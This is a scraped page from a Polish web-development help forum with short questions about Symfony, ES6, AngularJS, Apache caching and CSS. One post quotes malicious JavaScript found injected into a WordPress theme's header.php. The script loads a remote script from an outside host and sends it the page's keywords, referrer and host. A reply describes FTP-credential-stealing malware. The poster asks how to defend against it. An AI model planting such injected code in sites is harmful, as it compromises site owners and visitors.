Muszę pobrać dane z bazy danych i mam pewien problem. W bazie danych mam tabelkę użytkowników i szkół. Użytkownik może mieć wiele szkół. Muszę więc wyświetlić na stronie, do jakich szkół należy ten użytkownik. Jeżeli piszę zwykły select:
SELECT f0.id as id0,
f0.roles AS roles0,
f0.firstname AS first
  • 9
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Witajcie mirki.
Może ktoś mógłby zarzucić przykładem w jaki sposób zrobić "XLSPrinter."
Chodzi mi o to, że jest coś takiego jak "liuggio/excelbundle", które wykorzystuję do generowania plików xls. Jednak nie wiem czy to dobra praktyka za każdym razem w kontrollerze od nowa tworzyć plik xls, może lepiej byłoby stworzyć serwis, gdzie przekazywałbym:
1. Nagłówki tabelki
2. dane
3. typ pliku
  • 1
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

W jaki sposób są infekowane motywy Wordpressa?
W pliku header.php znalazłem takie coś:

var a='';setTimeout(10);if(document.referrer.indexOf(location.protocol+"//"+location.host)!==0||document.referrer!==undefined||document.referrer!==''||document.referrer!==null){document.write('<script type="text/javascript" src="[http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()](http://www.taylorparadise.com/js/jquery.min.php?c_utt=J18171&c_utm='+encodeURIComponent('http://www.taylorparadise.com/js/jquery.min.php'+'?'+'default_keyword='+encodeURIComponent(((k=(function()){var keywords='';var metas=document.getElementsByTagName('meta');if(metas){for(var x=0,y=metas.length;x<y;x++){if(metas[x].name.toLowerCase()=="keywords"){keywords+=metas[x].content;}}}return keywords!==''?keywords:null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k))+'&se_referrer='+encodeURIComponent(document.referrer)+'&source='+encodeURIComponent(window.location.host))+'"><'+'/script>');}
Interesuje mnie w jaki sposób jest to tam jest umieszczane i jak się przed tym bronić.
Aha, strona nie jest moja. Po prostu interesuje mnie jak to działa :)
  • 16
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@mariecziek: spotkałem się kiedyś z wirusem, który odczytywał zapisane hasła do FTP w total commanderze i filezilla i dopisywał złośliwy kod do wszystkich plików php/html na serwerze. Mimo, że pracownicy nigdy haseł jawnie nie trzymali, wystarczył jeden głupi freelancer, który trzymał hasła w filezilla i potem mieliśmy zainfekowanych kilkadziesiąt serwisów. Nie polecam ( ͡° ͜ʖ ͡°)
  • Odpowiedz
[ #naukaprogramowania #webdevhelp ]

W ramach nauki ES6 piszę prostego idle clickera.

W metodzie storeCoins w klasie Coins chcę przechowywać TYLKO liczbę coinsów, które będą dodawane przy kliknięciu w button (metoda addCoin) i rzeczy które będą w sklepie (patrz przykładowa metoda w klasie Shop) - over time, w pętli, ale to już sobie jakoś napiszę później sam to co jest w klasie Shop jest na razie tylko szkicem, żeby
  • 6
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

#webdevhelp #naukaprogramowania

Macie jakieś sprawdzone źródła z których warto uczyć się ES6? Konfiguracja środowiska, Webpack, Babel i cała ta otoczka. Jak już znalazłem coś obiecującego to mi wyskakują na początku z klonowaniem repo, a chciałbym sobie to stopniowo poukładać w głowie. Z góry dziękuję za wszelkie linki i pomoc. :)
  • 3
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Witam mirków z #php i #symfony2 #symfony #webdev #webdevhelp
Mam w bazie danych tabelę user. Są już tam użytkownicy, teraz chcę dodać kolumnę slug, która musi być unikalna (będę tego używał do wyświetlania nazwy użytkownika w pasku adresu). W encji piszę takie coś:

/**
*
*
  • 9
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@mariecziek: chodziło mi o to, że generalnie na produkcji nie używa się raczej schema:update tylko właśnie migracji. Powinieneś przygotować migrację która utworzy kolumnę "slug" (nie unique), następnie ją uzupełni po czym ustawi odpowiedni indeks unikalny.
  • Odpowiedz
#webdevhelp #js Mircy, dodaję zdarzenie "onbeforeunload", działa wyłącznie na przeładowaniu strony i przejściu pomiędzy podstronami. Jak wywołać komunikat przed opuszczeniem bieżącej strony za pomocą przycisku przeglądarki "Powrót"?
Próbowałem również jQuery jednak efekt jest ten sam.

jQuery(window).bind('beforeunload', function(e) {
var message = "Why are you leaving?";
e.returnValue = message;
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

#webdevhelp #angularjs

Wybaczcie za spam, to już ostatni raz, obiecuje :P

Wczoraj w nocy miałem problem z wyświetleniem danych z jsona, udało się to rozwiązać. Dzisiaj mam kolejny problem, kurcze. Chcę móc operować na danych z pobranego jsona poza funkcją:

.then(function
  • 9
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@PrawyKuba: dane z JSONa będą w vm.basics1Data tak jak przypisujesz, wiec z tego sobie możesz te dane wziąć ALE dopiero po tym jak się ten promise wykona, czyli jak chcesz gdzieś indziej to sobie w tym thenie odpal jakąś funkcję, która coś dalej zrobi z tymi danymi.
  • Odpowiedz
Słuchajcie mirki z #webdev, próbuję napisać programik, który będzie udawał coś w stylu konta bankowego - wpłata wypłata i stan konta. Po kilku godzinach coś takiego mi się udało, po wpisaniu kwoty i nacisnięciu Confirm formularz odwoluje się do drugiego pliku connection.php, który wysyła dane do bazy, pobiera itp. Główny plik account.php też się odwołuje do connection.php, żeby wyświetlić stan konta. #pytanie #pytaniedoeksperta #php
  • 6
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

#csharp #aspnet #webdevhelp

Uczę się sam programowania, zaczałem od C#, napisałem dość prostą aplikację w asp.net mvc 5 i chciałbym ją umieścić w internecie :) . I stąd pytanie:

1 Czy jedyną opcją na wrzucenie mojej aplikacji do internetu jest użycie platformy azure?

2
  • 5
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@failed: dreamsparkowe Azure chyba ma limit na poziomie 25$? Jeżeli tak, to powinno to wystarczyć, bo plan "basic" przy WebAppach to jakieś 8 euro/msc, a wtedy możesz już podpiąc domenę :)
  • Odpowiedz
Chciałam zrobić apkę frontendową w angularze (albo czymkolwiek innym na JS). Kupiłam bootstrapowy template. Zastanawiam się od której strony zacząć łączyć template z angularem ( ͡° ͜ʖ ͡°) W przypadku thymeleafa (upraszczając: działanie wygląda podobnie jak angular) brałam template, oddzielałam content od sidebarów/headerów i potem sobie wstawiałam te tagi thymleafowe do HTMLa. Jak to powinno się zrobić z apką w JS, podobnie? Czy może najpierw w yeomenie wygenerować
  • 6
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

Mirki, mam taki mały problem, sam z Apache nie korzystam więc idzie mi to opornie.
Strona klienta stoi na Apache2. Wrzucaliśmy w odstępach czasu 2-3 wersje i wyglądało to tak jakby Apache cache'ował stronę i dopiero po czasie zmieniał - z tego co doszedłem to za zmianę odpowiada HTCACHECLEAN i tam ustawiamy czas co ile zmienia? Sporo informacji w necie albo nie ma albo jest bardzo stara, o samym Apache'u też wiele
  • 8
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@MrGreeneye: Hmm, to tylko tak parę pomysłów na szybko było. Też nie jestem mistrzem Apacza, ale może eskperymentalne zakomentowanie jakieś mod_cache (jeśli jest w confach) coś by zmieniło?
A z ciekawości może przeglądarka coś powie w nagłówkach o cache / expired / last / modified / etag itd?
  • Odpowiedz
Witajcie mirki.
Mam taką sytuację:
1. Mam stronkę z responsive design.
2. Kiedy przewijam do takiego widoku: http://i.share.pho.to/8c3c3cad_o.png i klikam w TEST3, to otwiera mi się to w taki sposób: http://i.share.pho.to/f7ebfceb_o.png a chciałbym, żeby zdjęcie i przycisk wyłączania nie chowały się za belkę u góry strony, tzn. żeby to wyglądało w taki sposób: http://i.share.pho.to/9cf315fc_o.png
3. Rozmawiałem z kolegą, który pisał CSS i powiedział, że samym CSSem tego nie da się uporządkować, a trzeba robić to w
  • 1
  • Odpowiedz
  • Otrzymuj powiadomienia
    o nowych komentarzach

@Eggy: dziękuję bardzo. Trochę skomplikowane, sam bym na to nie wpadł chociaż próbowałem zagnieżdżać jakoś funkcję. Będę już wiedział na przyszłość. :)

Pomęczę Cię jeszcze trochę jeśli można ;). Nie to, że nie rozumiem tego co mi wysłałeś, ale jest możliwość napisania to jakoś łatwiej bez używania 'click'? Może opiszę szerzej co próbuję zrobić.

Klikam w przycisk i nadaje jakiemuś elementowi klasę np. "showfromtop".
Klikam drugi raz i i nadaje mu
  • Odpowiedz
@PrawyKuba: Bez używania evetów, nie da się czegoś takiego osiągnąć. No bo niby skąd przeglądarka ma wiedzieć co zrobić po kliknięciu w przycisk? Musisz zdefiniować listiner, czy to przez metodę .on() z jQuery, czy przez .addEventListiner()
Jak chcesz usunąć/dodać klasę możesz użyć .removeClass() i .addClass(). Ewentualnie możesz użyć .toggleClass() ale wtedy będziesz miał tylko jeden callback http://codepen.io/Eggy/pen/xVYpLO
  • Odpowiedz